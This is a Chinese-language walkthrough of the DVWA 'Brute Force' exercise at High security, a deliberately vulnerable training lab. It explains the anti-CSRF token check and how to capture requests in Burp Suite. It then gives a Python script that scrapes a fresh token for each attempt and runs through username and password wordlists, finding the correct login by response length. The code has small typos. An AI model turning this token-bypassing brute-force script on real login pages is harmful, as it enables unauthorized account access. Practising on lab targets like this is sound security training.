主页 > imtoken官网下载苹果版 > dvwa_Brute Force _High
dvwa_Brute Force _High
dvwa_Brute Force(蛮力)_High
首先,进入DVWA Security暴力破解软件的难度,将不可能变为高并提交。回归蛮力
点击查看源码发现和low不同的是引入了checkToken函数
checkToken功能:过滤一些比较低级的爆破
注意:我之前使用了账号和密码两个值。如果您使用 checkToken,它会从服务器向您的终端发送一个参数。当你用账号和密码登录的时候暴力破解软件的难度,其实你已经先打开了它的网站,它会先给你发checkToken,你登录的时候一定要带上它发给你的checkToken。如果没有(它没有匹配其逻辑 checkToken) ,它不会进行下一步处理您的帐户密码
许多大型企业都这样做。在数据库前面增加一个checkToken服务器,可以有效过滤一些针对数据库的爆破攻击,可以减少Your database usage farm和CPU使用率
破解方法:
使用BURPSUITE(简称:BURP)进行暴力破解
1、 打开 burp,在 Burp 的 Proxy 窗口中点击 Intercept is on 打开
2、蛮力:登录(随意输入密码)
3、Burp 的 Intercept 在 Proxy 窗口中开启,可以捕获帐号、密码、登录名和 user_token。上一关没有令牌。
4、下一步写一个脚本(python)
标头中的参数“User-Agent”代表您使用的浏览器。您可以通过 Burp 的代理窗口中的 Intercept 捕获您正在使用的浏览器。填写
header中的参数'Cookie'必须根据Burp的Proxy窗口中Intercept可以捕获的内容进行填写和修改
例子:
header={
'User-Agent':'Mozilla/5.8 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Fire/75.0'
'Cookie':'security=high; PHPSESSID=s00k1k6dbjrggj74g3tdso4bah'
}
参数url记录网页的url,编写自定义函数get_token(url,headers)捕获token(输入捕获[3])
def get_token(url,headers):
r=request.get(url,headers=header)
#print(r.status_code)
html=r.content.decode()
#print(len(html))
soup=BeautifulSoup(html,"html.perser")
user_token=soup.find_all('input')[3]["value"]
return user_token
编写main函数,通过账本和密码本以及捕获的token连续运行测试,得到正确的账户、密码和token
i=0
for admin in open("d:\\user.txt"):
for line in open("d:\\password.txt"):
u_token=get_token(url,header)
username=admin.strip()
password=line.strip()
payload={'username':username,'password':password,'Login':'Login','user_token':u_token}
#print(payload)
i=i+1
response=request.get(url,params=payload,headers=header)
print(i,username,password,len(response.content.decode()))
user_token=get_token(url,header)
5、运行脚本,通过比较字符长度得到正确的账号密码,并尝试登录